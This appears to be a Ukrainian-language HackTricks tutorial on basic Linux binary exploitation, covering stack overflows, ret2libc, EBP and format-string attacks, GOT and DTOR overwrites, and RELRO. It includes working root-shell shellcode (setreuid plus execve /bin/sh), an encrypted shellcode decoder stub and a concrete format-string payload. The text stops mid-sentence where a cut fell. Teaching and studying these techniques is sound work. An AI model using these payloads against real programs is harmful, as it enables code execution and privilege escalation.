# Експлуатація Linux (Базовий)
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! Інші способи підтримки HackTricks: * Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! * Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) * Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
## **1. ПЕРЕПОВНЕННЯ СТЕКУ** > переповнення буфера, переповнення стеку, переповнення стеку, руйнування стеку Segmentation fault або violation of segment: коли намагаються отримати доступ до адреси пам'яті, яка не була виділена процесу. Для отримання адреси функції всередині програми можна використовувати: ``` objdump -d ./PROGRAMA | grep FUNCION ``` ## ROP ### Виклик до sys\_execve {% content-ref url="rop-syscall-execv.md" %} [rop-syscall-execv.md](rop-syscall-execv.md) {% endcontent-ref %} ## **2.SHELLCODE** Переглянути переривання ядра: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR\_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ exit(0); // \_\_NR\_exit 1 xor eax, eax ; очищуємо eax\ xor ebx, ebx ; ebx = 0, оскільки немає аргументів для передачі\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ int 0x80 ; Виконати системний виклик **nasm -f elf assembly.asm** —> Повертає .o файл\ **ld assembly.o -o shellcodeout** —> Дає виконуваний файл, створений з коду асемблера, і можна отримати опкоди за допомогою **objdump**\ **objdump -d -Mintel ./shellcodeout** —> Щоб переконатися, що це наш shellcode і отримати опкоди **Перевірити, що shellcode працює** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ void (*fp) (void); fp = (void *)shellcode; fp(); } ``` Для перевірки правильності викликів системи програму необхідно скомпілювати і викликати системні виклики за допомогою **strace ./COMPILIED\_PROGRAM** При створенні shellcode можна використовувати хитрість. Перша інструкція - це стрибок до виклику. Виклик викликає оригінальний код і додає EIP до стеку. Після виклику ми додали потрібний рядок, тому з цим EIP ми можемо вказати на рядок і продовжити виконання коду. ПРИКЛАД **ХИТРІСТЬ (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh) xorl %eax, %eax ; eax = NULL movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh movl $0xb, %eax ; Syscall 11 movl %esi, %ebx ; arg1=“/bin/sh” leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} leal 0xc(%esi), %edx ; arg3 = NULL int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) xorl %ebx, %ebx ; ebx = NULL movl %ebx, %eax inc %eax ; Syscall 1 int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` **Використання EJ за допомогою стеку (/bin/sh):** ``` section .text global _start _start: xor eax, eax ;Limpieza mov al, 0x46 ; Syscall 70 xor ebx, ebx ; arg1 = 0 xor ecx, ecx ; arg2 = 0 int 0x80 ; setreuid(0,0) xor eax, eax ; eax = 0 push eax ; “\0” push dword 0x68732f2f ; “//sh” push dword 0x6e69622f; “/bin” mov ebx, esp ; arg1 = “/bin//sh\0” push eax ; Null -> args[1] push ebx ; “/bin/sh\0” -> args[0] mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` **EJ FNSTENV:** ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` **Ловець яєць:** Це невеликий код, який переглядає сторінки пам'яті, пов'язані з процесом, у пошуках там збереженого shellcode (шукає якусь підпис, розміщений у shellcode). Корисний у випадках, коли є лише невеликий простір для впровадження коду. **Поліморфні shell-коди** Це зашифровані оболонки, які мають невеликі коди для їх розшифрування та переходу до них, використовуючи трюк Call-Pop, ось **приклад шифрованого шифру Цезаря**: ``` global _start _start: jmp short magic init: pop esi xor ecx, ecx mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) sub cl, 1 jnz desc jmp short sc magic: call init sc: ;Aquí va el shellcode ``` 1. **Атака на вказівник рамки (EBP)** Корисно в ситуації, коли ми можемо змінити EBP, але не можемо змінити EIP. Відомо, що при виході з функції виконується наступний асемблерний код: ``` movl %ebp, %esp popl %ebp ret ``` Таким чином, якщо можна змінити EBP при виході з функції (fvuln), яка була викликана іншою функцією, коли функція, яка викликала fvuln, завершиться, її EIP може бути змінений. У fvuln можна ввести хибний EBP, який вказує на місце, де знаходиться адреса shellcode + 4 (до неї потрібно додати 4 через pop). Таким чином, при виході з функції, значення &(\&Shellcode)+4 буде поміщено в ESP, з pop від ESP відніметься 4, і він вказуватиме на адресу shellcode під час виконання ret. **Exploit:**\ \&Shellcode + "AAAA" + SHELLCODE + заповнювач + &(\&Shellcode)+4 **Off-by-One Exploit**\ Дозволяє змінити лише менш значущий байт EBP. Можна виконати атаку, схожу на попередню, але пам'ять, яка зберігає адресу shellcode, повинна містити тільки перші 3 байти разом з EBP. ## **4. Методи повернення до Libc** Корисний метод, коли стек не є виконуваним або залишає дуже мало місця для модифікації. ASLR призводить до того, що під час кожного виконання функції завантажуються в різні позиції пам'яті. Тому цей метод може бути неефективним у цьому випадку. Для віддалених серверів, оскільки програма постійно виконується за тією ж адресою, цей метод може бути корисним. * **cdecl(C declaration)** Поміщає аргументи в стек, і після виходу з функції очищає стек * **stdcall(standard call)** Поміщає аргументи в стек, і це функція, яка викликається, очищає його * **fastcall** Поміщає перші два аргументи в реєстри, а решту - в стек Вказується адреса інструкції system з libc, і їй передається рядок "/bin/sh", зазвичай з змінної середовища. Крім того, використовується адреса функції exit, щоб програма вийшла без проблем після того, як оболонка більше не потрібна (і записує журнали). **export SHELL=/bin/sh** Для пошуку необхідних адрес можна переглянути всередині **GDB:**\ **p system**\ **p exit**\ **rabin2 -i виконуваний_файл** —> Надає адресу всіх функцій, які використовує програма при завантаженні\ (У start або якомусь breakpoint): **x/500s $esp** —> Шукаємо тут рядок /bin/sh Після отримання цих адрес **exploit** виглядатиме так: “A” \* DISTANCIA EBP + 4 (EBP: можуть бути 4 "A", краще, якщо це реальний EBP, щоб уникнути помилок сегментації) + Адреса **system** (перезапише EIP) + Адреса **exit** (після виклику system(“/bin/sh”) ця функція буде викликана, оскільки перші 4 байти стеку розглядаються як наступна адреса EIP для виконання) + Адреса “**/bin/sh**” (буде параметром, переданим у system) Таким чином, EIP буде перезаписано адресою system, яка отримає рядок "/bin/sh" як параметр, і після виходу з цього виконається функція exit(). Можливо, виникне ситуація, коли якийсь байт якоїсь адреси якоїсь функції буде нульовим або пробілом (\x20). У цьому випадку можна розібрати попередні адреси цієї функції, оскільки, ймовірно, там буде кілька NOPs, які дозволять нам викликати один з них замість функції безпосередньо (наприклад, з > x/8i system-4). Цей метод працює, оскільки, викликаючи функцію, таку як system, за допомогою опкоду **ret** замість **call**, функція розуміє, що перші 4 байти будуть адресою **EIP**, на яку повернутися. Цікавою технікою з цим методом є виклик **strncpy()** для переміщення навантаження зі стеку до купи і подальше використання **gets()** для виконання цього навантаження. Ще однією цікавою технікою є використання **mprotect()**, яка дозволяє призначити бажані дозволи для будь-якої частини пам'яті. Вона працює або працювала в BDS, MacOS та OpenBSD, але не в linux (контролює, що не можна одночасно надавати дозволи на запис та виконання). З цим атака може повернути стек як виконуваний. **Ланцюжок функцій** На основі попередньої техніки, цей спосіб експлойтування полягає в:\ Заповнювач + \&Функція1 + \&pop;ret; + \&arg\_fun1 + \&Функція2 + \&pop;ret; + \&arg\_fun2 + … Таким чином можна ланцюгати функції, які потрібно викликати. Крім того, якщо потрібно використовувати функції з декількома аргументами, можна вказати необхідні аргументи (наприклад, 4) і вказати 4 аргументи та знайти адресу місця з опкодами: pop, pop, pop, pop, ret —> **objdump -d виконуваний_файл** **Ланцюжок через фальсифікацію фреймів (ланцюжок EBPs)** Полягає в тому, щоб використовувати можливість маніпулювати EBP для послідовного виконання кількох функцій через EBP та "leave;ret" RELLENO * Встановлюємо в EBP хибний EBP, який вказує на: 2-й хибний EBP + функція для виконання: (\&system() + \&leave;ret + &“/bin/sh”) * В EIP вказуємо адресу функції &(leave;ret) Починаємо shellcode з адресою на наступну частину shellcode, наприклад: 2-й хибний EBP + \&system() + &(leave;ret;) + &”/bin/sh” 2-й EBP буде: 3-й хибний EBP + \&system() + &(leave;ret;) + &”/bin/ls” Цю shellcode можна повторювати нескінченно в доступних частинах пам'яті, щоб отримати shellcode, яку можна легко розділити на невеликі шматки пам'яті. (Використання викликів функцій, змішуючи побачені раніше вразливості EBP та ret2lib) ## **5. Додаткові методи** **Ret2Ret** Корисно, коли не можна вставити адресу стеку в EIP (перевіряється, що EIP не містить 0xbf) або коли не можна обчислити розташування shellcode. Проте вразлива функція приймає параметр (сюди буде вставлена shellcode). Таким чином, змінивши EIP на адресу **ret**, завантажиться наступна адреса (яка є адресою першого аргумента функції). Іншими словами, завантажиться shellcode. Exploit виглядатиме так: SHELLCODE + Заповнювач (до EIP) + **\&ret** (наступні байти стеку вказують на початок shellcode, оскільки в стек вставляється адреса переданого параметра) Здається, що функції, такі як **strncpy**, після завершення видаляють зі стеку адресу, де була збережена shellcode, ускладнюючи цю техніку. Іншими словами, адреса, яку передають функції як аргумент (яка зберігає shellcode), змінюється на 0x00, тому коли викликається другий **ret**, він зустрічає 0x00 і програма припиняє роботу. ``` **Ret2PopRet** ``` Якщо у нас немає контролю над першим аргументом, але є контроль над другим або третім, ми можемо перезаписати EIP адресою pop-ret або pop-pop-ret, в залежності від потреби. **Техніка Мурата** У Linux всі програми починаються з адреси 0xbfffffff. Розглядаючи, як формується стек нового процесу в Linux, можна розробити експлоіт так, щоб програма запускалася в середовищі, де є лише змінна з кодом оболонки. Адресу цієї змінної можна обчислити як: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode) Таким чином, можна легко отримати адресу змінної середовища з кодом оболонки. Це можливо завдяки тому, що функція execle дозволяє створювати середовище лише з бажаними змінними середовища. **Перехід до ESP: Стиль Windows** Оскільки ESP завжди вказує на початок стеку, ця техніка полягає в заміні EIP адресою виклику **jmp esp** або **call esp**. Таким чином, після перезапису EIP код оболонки зберігається, оскільки після виконання **ret** ESP буде вказувати на наступну адресу, де зберігається код оболонки. У випадку, якщо ASLR не активовано в Windows або Linux, можна викликати **jmp esp** або **call esp**, збережені в якомусь спільному об'єкті. Якщо ASLR активовано, можна шукати в межах самої вразливої програми. Крім того, можливість розміщення коду оболонки після порушення EIP замість в середині стеку дозволяє уникнути того, що інструкції push або pop, які виконуються в середині функції, доторкнуться коду оболонки (що може статися, якщо вона розміщується в середині стеку функції). Дуже схоже на це, якщо ми знаємо, що функція повертає адресу, де зберігається код оболонки, можна викликати **call eax** або **jmp eax (ret2eax).** **Переповнення цілих чисел** Цей тип переповнень виникає, коли змінна не готова обробляти таке велике число, якому її передають, можливо через плутанину між змінними зі знаком і без, наприклад: ```c #include #include #include int main(int argc, char *argv[]){ int len; unsigned int l; char buffer[256]; int i; len = l = strtoul(argv[1], NULL, 10); printf("\nL = %u\n", l); printf("\nLEN = %d\n", len); if (len >= 256){ printf("\nLongitus excesiva\n"); exit(1); } if(strlen(argv[2]) < l) strcpy(buffer, argv[2]); else printf("\nIntento de hack\n"); return 0; } ``` У попередньому прикладі ми бачимо, що програма очікує 2 параметри. Перший - довжина наступного рядка, а другий - сам рядок. Якщо ми передамо в якості першого параметра від'ємне число, вийде, що len < 256, і ми пройдемо цей фільтр, а також strlen(buffer) буде менше, ніж l, оскільки l є беззнаковим int і буде дуже великим. Цей тип переповнень не спрямований на запис чогось у процес програми, а на обхід погано розроблених фільтрів для експлуатації інших вразливостей. **Невизначені змінні** Не відомо, яке значення може прийняти невизначена змінна, і це може бути цікаво вивчити. Можливо, вона прийме значення змінної з попередньої функції, яка може бути керована зловмисником. ## **Рядки форматування** У мові C **`printf`** - це функція, яку можна використовувати для **виведення** деякого рядка. **Перший параметр**, який очікує ця функція, - це **сирій текст з форматерами**. **Наступні параметри** - це **значення**, які **замінять** **форматери** у сирому тексті. Вразливість виникає, коли **текст зловмисника використовується як перший аргумент** цій функції. Зловмисник зможе створити **спеціальний ввід, зловживаючи** можливостями **рядка форматування printf** для **запису будь-яких даних за будь-якою адресою**. Таким чином, він може **виконати довільний код**. Форматери: ```bash %08x —> 8 hex bytes %d —> Entire %u —> Unsigned %s —> String %n —> Number of written bytes %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` **`%n`** **записує** кількість **записаних байтів** за **вказаною адресою. Записуючи** стільки **байтів**, скільки **необхідно** в шістнадцятковому форматі, можна **записати будь-які дані**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` ### GOT (Global Offsets Table) / PLT (Procedure Linkage Table) Це таблиця, яка містить **адресу** до **зовнішніх функцій**, які використовує програма. Отримайте адресу цієї таблиці за допомогою: **`objdump -s -j .got ./exec`** ![](<../../.gitbook/assets/image (619).png>) Спостерігайте, як після **завантаження** виконуваного файлу в GEF ви можете **побачити** **функції**, які знаходяться в **GOT**: `gef➤ x/20x 0xDIR_GOT` ![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) За допомогою GEF ви можете **розпочати** **сеанс налагодження** та виконати **`got`**, щоб побачити таблицю got: ![](<../../.gitbook/assets/image (621).png>) У бінарному файлі GOT містить **адреси функцій або** секцію **PLT**, яка завантажить адресу функції. Метою цього експлойту є **перезапис GOT-запису** функції, яка буде виконана пізніше **з** адресою PLT функції **`system`**. Ідеально, ви **перезапишете** GOT **функції**, яка **буде викликана з параметрами, які контролюються вами** (таким чином, ви зможете контролювати параметри, які надсилаються функції системи). Якщо **`system`** **не використовується** сценарієм, функція системи **не** матиме запису в GOT. У цьому сценарії вам **доведеться витікати адресу** функції `system` спочатку. **Procedure Linkage Table** - це **таблиця лише для читання** в файлі ELF, яка зберігає всі необхідні **символи, які потребують розв'язання**. Коли викликаються одна з цих функцій, **GOT** буде **перенаправляти** **потік** до **PLT**, щоб він міг **розв'язати** **адресу** функції та записати її в GOT.\ Потім, **наступного разу**, коли виконується виклик на ту адресу, **функція** викликається без необхідності розв'язувати її. Ви можете побачити адреси PLT за допомогою **`objdump -j .plt -d ./vuln_binary`** ### **Потік експлойту** Як пояснено раніше, метою буде **перезаписати** **адресу** функції в таблиці **GOT**, яка буде викликана пізніше. Ідеальною було б встановити **адресу шел-коду**, розташовану в виконувальному розділі, але ймовірно ви не зможете написати шел-код в виконувальному розділі.\ Тому інша опція - **перезаписати функцію**, яка **отримує** свої **аргументи** від **користувача** та **спрямувати** її на функцію **`system`**. Для запису адреси, зазвичай робляться 2 кроки: **спочатку записуються 2 байти** адреси, а потім інші 2. Для цього використовується **`$hn`**. **HOB** вказує на 2 старших байти адреси\ **LOB** вказує на 2 молодших байти адреси Отже, через те, як працює формат рядка, вам потрібно **спочатку записати менший** з \[HOB, LOB], а потім інший. Якщо HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` Якщо HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB \`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\` ### **Шаблон експлойту формат-рядка** Ви можете знайти **шаблон** для експлойтування GOT за допомогою формат-рядків тут: {% content-ref url="format-strings-template.md" %} [format-strings-template.md](format-strings-template.md) {% endcontent-ref %} ### **.fini\_array** Фактично це структура з **функціями, які будуть викликані** перед завершенням програми. Це цікаво, якщо ви можете викликати свій **шел-код просто перейшовши за адресою**, або в тих випадках, коли вам потрібно повернутися до головної знову, щоб **експлуатувати форматний рядок вдруге**. ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: 8049934 a0850408 #Put your address in 0x8049934 ``` Зверніть увагу, що це **не** створить **вічний цикл**, оскільки коли ви повернетеся до головної функції, канарейка помітить, що кінець стеку може бути пошкоджений, і функція більше не буде викликана знову. Таким чином, ви зможете **виконати ще 1 раз** уразливість. ### **Форматування рядків для виведення вмісту** Форматований рядок також може бути використаний для **виведення вмісту** з пам'яті програми.\ Наприклад, у наступній ситуації є **локальна змінна в стеці, що вказує на прапорець**. Якщо ви **знайдете**, де в **пам'яті** знаходиться **вказівник** на **прапорець**, ви можете зробити **printf доступ** до цієї **адреси** та **вивести** прапорець: Отже, прапорець знаходиться в **0xffffcf4c** ![](<../../.gitbook/assets/image (618) (2).png>) І з витоку ви можете побачити, що **вказівник на прапорець** знаходиться в **8-му** параметрі: ![](<../../.gitbook/assets/image (623).png>) Таким чином, **звернувшись до 8-го параметру**, ви можете отримати прапорець: ![](<../../.gitbook/assets/image (624).png>) Зверніть увагу, що, слідуючи за **попереднім використанням** та реалізацією можливості **витоку вмісту**, ви можете **встановити вказівники** на **`printf`** до розділу, де завантажується **виконуваний файл**, та **вивести** його **повністю**! ### **DTOR** {% hint style="danger" %} У наш час дуже **незвичайно знайти бінарний файл з розділом dtor**. {% endhint %} Деструктори - це функції, які **виконуються перед завершенням програми**.\ Якщо ви зможете **записати** адресу **shellcode** в **`__DTOR_END__`**, це буде **виконано** перед завершенням програми.\ Отримайте адресу цього розділу за допомогою: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` Зазвичай ви знайдете розділ **DTOR** **між** значеннями `ffffffff` та `00000000`. Так що, якщо ви бачите лише ці значення, це означає, що **жодна функція не зареєстрована**. Тому **перезапишіть** **`00000000`** адресою **shellcode**, щоб виконати його. ### **Форматування рядків для переповнення буфера** **`sprintf` переміщує** форматований рядок **у** **змінну.** Тому ви можете зловживати **форматуванням рядка**, щоб викликати **переповнення буфера в змінній**, куди копіюється вміст.\ Наприклад, навантаження `%.44xAAAA` **запише 44 байти + "AAAA" у змінну**, що може викликати переповнення буфера. ### **Структури \_\_atexit** {% hint style="danger" %} Сьогодні дуже **незвичайно використовувати це**. {% endhint %} **`atexit()`** - це функція, до якої **передаються інші функції в якості параметрів.** Ці **функції** будуть **виконані** при виконанні **`exit()`** або **поверненні** до **головної** функції.\ Якщо ви можете **змінити адресу** будь-якої з цих **функцій**, щоб вказувати на shellcode, наприклад, ви **отримаєте контроль** над **процесом**, але це зараз складніше.\ Наразі **адреси функцій**, які мають бути виконані, **приховані** за кількома структурами, і, нарешті, адреси, на які вони вказують, не є адресами функцій, а **шифруються за допомогою XOR** та зсувів з **випадковим ключем**. Тому наразі цей вектор атаки **не дуже корисний принаймні на x86** та **x64\_86**.\ Функція **шифрування** - **`PTR_MANGLE`**. **Інші архітектури**, такі як m68k, mips32, mips64, aarch64, arm, hppa... **не реалізують функцію шифрування**, оскільки вона **повертає те ж**, що отримала на вході. Тому ці архітектури можуть бути піддані атакам через цей вектор. ### **setjmp() & longjmp()** {% hint style="danger" %} Сьогодні дуже **незвичайно використовувати це**. {% endhint %} **`Setjmp()`** дозволяє **зберегти** **контекст** (регістри)\ **`longjmp()`** дозволяє **відновити** **контекст**.\ Збережені регістри: `EBX, ESI, EDI, ESP, EIP, EBP`\ Справа в тому, що EIP та ESP передаються функцією **`PTR_MANGLE`**, тому **архітектура, яка вразлива на цю атаку, така ж, як вище**.\ Вони корисні для відновлення помилок або переривань.\ Однак, з того, що я прочитав, інші регістри не захищені, **тому якщо є `call ebx`, `call esi` або `call edi`** всередині функції, яка викликається, можна захопити контроль. Або ви також можете змінити EBP для зміни ESP. **VTable та VPTR у C++** Кожен клас має **Vtable**, який є масивом **вказівників на методи**. Кожен об'єкт **класу** має **VPtr**, який є **вказівником** на масив свого класу. VPtr є частиною заголовка кожного об'єкта, тому якщо досягнуто **переписування** VPtr, його можна **змінити**, щоб вказувати на фіктивний метод, так що виконання функції перейде до shellcode. ## **Заходи запобігання та ухилення** **Return-into-printf** Це техніка перетворення переповнення буфера на помилку формату рядка. Полягає в тому, що замінюємо EIP, щоб він вказував на printf функцію та передаємо їй як аргумент змінений рядок формату, щоб отримати значення про стан процесу. **Атака на бібліотеки** Бібліотеки знаходяться в позиції з 16-бітною випадковістю = 65636 можливих адрес. Якщо вразливий сервер викликає fork(), простір адрес пам'яті копіюється в дочірній процес і залишається незмінним. Тому можна спробувати зробити brute force до функції usleep() з libc, передаючи "16" як аргумент, щоб знайти цю функцію, коли відповідь затримується довше звичайного. Знаючи, де знаходиться ця функція, можна отримати delta\_mmap та розрахувати інші. Єдиний спосіб бути впевненим, що ASLR працює, - використовувати архітектуру 64 біт. Там немає атак методом грубої сили. ### Relro **Relro (Read only Relocation)** впливає на дозволи пам'яті подібно до NX. Відмінність полягає в тому, що, якщо з NX стек стає виконуваним, то RELRO робить **певні речі тільки для читання**, тому ми **не можемо писати** в них. Найпоширенішим перешкодою, яку я бачив, є запобігання **перезапису таблиці got**, про що буде розповідатися пізніше. Таблица got містить адреси функцій libc, щоб виконуваний файл знав ці адреси та міг їх викликати. Подивимося, які дозволи пам'яті має запис таблиці got для виконуваного файлу з та без relro. З relro: ```bash gef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc 0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc 0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc 0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc 0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc 0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap] 0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ p fgets $2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets> gef➤ search-pattern 0x7ffff7e4d100 [+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory [+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r-- 0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` Без relro: ```bash gef➤ vmmap Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try 0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try 0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try 0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try 0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try 0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap] 0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ p fgets $2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets> gef➤ search-pattern 0x7ffff7e4d100 [+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory [+] In '/tmp/try'(0x404000-0x405000), permission=rw- 0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` Для бінарного **без relro** ми бачимо, що адреса запису `got` для `fgets` - `0x404018`. Придивившись до відображення пам'яті, ми бачимо, що вона потрапляє між `0x404000` та `0x405000`, що має **дозволи `rw`**, що означає, що ми можемо читати та писати в неї. Для бінарного **з relro** ми бачимо, що адреса таблиці `got` для запуску бінарного файлу (pie увімкнено, тому ця адреса зміниться) - `0x555555557fd0`. У відображенні пам'яті цього бінарного файлу вона потрапляє між `0x0000555555557000` та `0x0000555555558000`, що має дозвіл на пам'ять **`r`**, що означає, що ми можемо лише читати з неї. Так як обійти це? Типовий обхід, який я використовую, - просто не писати в області пам'яті, які relro змушує робити доступними тільки для читання, та **знайти інший спосіб виконання коду**. Зверніть увагу, що для цього бінарний файл повинен знати перед виконанням адреси функцій: * Ліниве зв'язування: Адреса функції шукається перший раз, коли функцію викликають. Таким чином, під час виконання потрібно мати дозвіл на запис у `GOT`. * Прив'язка зараз: Адреси функцій вирішуються на початку виконання, після чого чутливим розділам, таким як .got, .dtors, .ctors, .dynamic, .jcr, надаються дозволи тільки для читання. `` `** ``-z relro`**`y`**`-z now\`\*\* Щоб перевірити, чи програма використовує Bind now, ви можете виконати: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` Коли бінарний файл завантажується в пам'ять і функція викликається вперше, відбувається перехід до PLT (Procedure Linkage Table), звідки відбувається стрибок (jmp) до GOT і виявляється, що цей запис не вирішено (містить адресу наступного PLT). Тоді викликається Runtime Linker або rtfd для вирішення адреси і збереження її в GOT. При виклику функції викликається PLT, яка містить адресу GOT, де зберігається адреса функції, тому вона перенаправляє потік туди, і функція викликається. Однак, якщо це перший виклик функції, в GOT буде наступна інструкція PLT, тому потік слідує коду PLT (rtfd), визначає адресу функції, зберігає її в GOT і викликає. При завантаженні бінарного файлу в пам'ять компілятор вказує, на якому зміщенні розмістити дані, які мають бути завантажені при запуску програми. Ліниве 